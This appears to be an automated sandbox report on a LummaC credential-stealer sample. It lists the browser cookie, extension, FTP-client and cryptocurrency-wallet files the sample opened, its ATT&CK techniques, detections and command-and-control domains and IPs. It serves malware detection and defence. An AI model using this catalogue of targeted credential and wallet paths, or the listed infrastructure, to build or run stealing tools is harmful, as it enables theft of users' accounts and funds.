Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1435420192.0000000001643000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1435134651.0000000001643000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1519346910.000000000163F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1466936473.000000000163F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1466965670.0000000001651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1436631841.0000000001643000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hiip7UoiAq.exe PID: 7316, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: hiip7UoiAq.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
hiip7UoiAq.exe	58%	ReversingLabs	Win32.Trojan.Generic
hiip7UoiAq.exe	100%	Avira	TR/Crypt.XPACK.Gen
hiip7UoiAq.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://tacitglibbr.biz/N	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/IQ~	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/v	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apis	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/j	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apiichd	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apiited	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/api_	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/##	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apidb	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/apipj	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tacitglibbr.biz	104.21.50.161	true	false		high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false		high

Contacted URLs

Name	Malicious	Reputation
sordid-snaked.cyou	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
https://tacitglibbr.biz/api	false	high
deafeninggeh.biz	false	high
tacitglibbr.biz	false	high
debonairnukk.xyz	false	high
diffuculttan.xyz	false	high
effecterectz.xyz	false	high
wrathful-jammy.cyou	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://tacitglibbr.biz/N	hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/	hiip7UoiAq.exe, 00000000.00000003.1609591024.000000000164A000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1547888701.000000000164B000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611573627.000000000164D000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1564879139.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1565159224.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609682524.000000000164C000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apis	hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apiichd	hiip7UoiAq.exe, 00000000.00000003.1466936473.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/IQ~	hiip7UoiAq.exe, 00000000.00000003.1609591024.000000000164A000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611573627.000000000164D000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609682524.000000000164C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/j	hiip7UoiAq.exe, 00000000.00000003.1609591024.000000000164A000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1524724197.000000000164C000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1547888701.000000000164B000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1524669311.0000000001645000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611573627.000000000164D000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1564879139.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1565159224.0000000001648000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1609682524.000000000164C000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1524697227.000000000164A000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1519346910.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.micro	hiip7UoiAq.exe, 00000000.00000003.1609431961.000000000162B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/v	hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	hiip7UoiAq.exe, 00000000.00000003.1489280924.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apiited	hiip7UoiAq.exe, 00000000.00000003.1519346910.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/api_	hiip7UoiAq.exe, 00000000.00000003.1609431961.0000000001634000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000002.1611489806.0000000001634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	hiip7UoiAq.exe, 00000000.00000003.1490892152.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	hiip7UoiAq.exe, 00000000.00000003.1490492113.0000000006034000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apidb	hiip7UoiAq.exe, 00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	hiip7UoiAq.exe, 00000000.00000003.1435861153.0000000005F46000.00000004.00000800.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1435782517.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/##	hiip7UoiAq.exe, 00000000.00000003.1466936473.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tacitglibbr.biz/apipj	hiip7UoiAq.exe, 00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp, hiip7UoiAq.exe, 00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.50.161	tacitglibbr.biz	United States		13335	CLOUDFLARENETUS	false
172.67.164.37	unknown	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575781
Start date and time:	2024-12-16 10:17:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hiip7UoiAq.exe renamed because original name is a hash value
Original Sample Name:	68a13aa2834765a18fc577743c2ba964.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: hiip7UoiAq.exe

Simulations

Behavior and APIs

Time	Type	Description
04:18:43	API Interceptor	8x Sleep call for process: hiip7UoiAq.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.50.161	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse
	hKyD3sj3Y9.exe	Get hash	malicious	LummaC	Browse
	P0w3gV5bH3.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
172.67.164.37	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse
	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse
	WTI4lrpauV.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	4KS0DPguYt.exe	Get hash	malicious	LummaC	Browse
	uhYAA1w99W.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	Payment_swift_copy.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Payment_swift_copy.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.63
	https://cavotec-au.sharefile.com/public/share/web-1271a93971714a91	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	imagelogger.exe	Get hash	malicious	XWorm	Browse	13.107.246.63
	Ex.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	installer.exe.exe	Get hash	malicious	Quasar	Browse	13.107.246.63
	Neverlose Loader.exe	Get hash	malicious	Quasar	Browse	13.107.246.63
tacitglibbr.biz	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
